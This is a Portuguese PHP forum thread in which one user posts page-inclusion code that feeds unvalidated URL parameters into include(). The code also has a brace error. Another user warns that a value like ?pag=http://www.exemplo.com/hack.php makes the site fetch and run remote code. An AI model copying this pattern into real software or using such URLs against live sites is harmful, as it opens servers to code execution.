Ir para conteúdo
Fórum Script Brasil
  • 0

Por Favor


## Dark Angell ##

Pergunta

9 respostass a esta questão

Posts Recomendados

  • 0

Se for o que os colegas tão dizendo, se você esta num site grande fica complicado fazer assim não é? ?! Entaum ... aqui no fórum tem um código que o Jonh Doe fez pra isso !!

Vou ver aqui e edito esse post !

--------------------------------------------------------------------------------------

Edição:

Nesse código abaixo, o link ficaria assim se a página estivesse na mesma pasta que o index.php

index.php?pag=pag

Aí no caso ela incluiria a pag.php !

No caso de estar em outra pasta:

index.php?pag=pag&pasta=pasta

Aí no caso ela incluiria a pasta/pag.php

Esse código você vai por onde você quer as páginas sejam incluidas !

<?

/* se so for encontrado nome de arquivo, sem nenhum nome de pasta */

if((isset($_GET[pag]))&&(!isset($_GET[pasta]))&&($_GET[pag]!=""))

{

/* define a variavel com os dados da url */

$pag = $_GET[pag];

include($pag.".php");

}

elseif((isset($_GET[pag]))&&(isset($_GET[pasta])))

{

  if(($_GET[pag]=="")||($_GET[pasta]==""))

  {

    include ("index.php");

    }

    else

    {

    /* define as variáveis com os dados da url */

    $pag = $_GET[pag];

    $pasta = $_GET[pasta];

    include($pasta."/".$pag.".php");

    }

else

{

include ("index.php");

}

?>

Link para o comentário
Compartilhar em outros sites

  • 0
Se for o que os colegas tão dizendo, se você esta num site grande fica complicado fazer assim não é? ?! Entaum ... aqui no fórum tem um código que o Jonh Doe fez pra isso !!

Vou ver aqui e edito esse post !

--------------------------------------------------------------------------------------

Edição:

Nesse código abaixo, o link ficaria assim se a página estivesse na mesma pasta que o index.php

index.php?pag=pag

Aí no caso ela incluiria a pag.php !

No caso de estar em outra pasta:

index.php?pag=pag&pasta=pasta

Aí no caso ela incluiria a pasta/pag.php

Esse código você vai por onde você quer as páginas sejam incluidas !

<?

/* se so for encontrado nome de arquivo, sem nenhum nome de pasta */

if((isset($_GET[pag]))&&(!isset($_GET[pasta]))&&($_GET[pag]!=""))

{

/* define a variavel com os dados da url */

$pag = $_GET[pag];

include($pag.".php");

}

elseif((isset($_GET[pag]))&&(isset($_GET[pasta])))

{

  if(($_GET[pag]=="")||($_GET[pasta]==""))

  {

    include ("index.php");

    }

    else

    {

    /* define as variáveis com os dados da url */

    $pag = $_GET[pag];

    $pasta = $_GET[pasta];

    include($pasta."/".$pag.".php");

    }

else

{

include ("index.php");

}

?>

e se um chico esperto escreve na url ?pag=http://www.exemplo.com/hack.php

hackp.php

<?php

while (1 = 1) {}

?>

rolleyes.gif

Link para o comentário
Compartilhar em outros sites

  • 0

tirado do manual

The Windows versions of PHP earlier than PHP 4.3 did not support remote file accessing for the following functions: include(), include_once(), require(), require_once(), and the imagecreatefromXXX functions in the Image functions extension.
Pode haver configurações em que podem ser incluidos ficheiros remotos.
Link para o comentário
Compartilhar em outros sites

Participe da discussão

Você pode postar agora e se registrar depois. Se você já tem uma conta, acesse agora para postar com sua conta.

Visitante
Responder esta pergunta...

×   Você colou conteúdo com formatação.   Remover formatação

  Apenas 75 emoticons são permitidos.

×   Seu link foi incorporado automaticamente.   Exibir como um link em vez disso

×   Seu conteúdo anterior foi restaurado.   Limpar Editor

×   Você não pode colar imagens diretamente. Carregar ou inserir imagens do URL.



  • Estatísticas dos Fóruns

    • Tópicos
      152k
    • Posts
      651,8k
×
×
  • Criar Novo...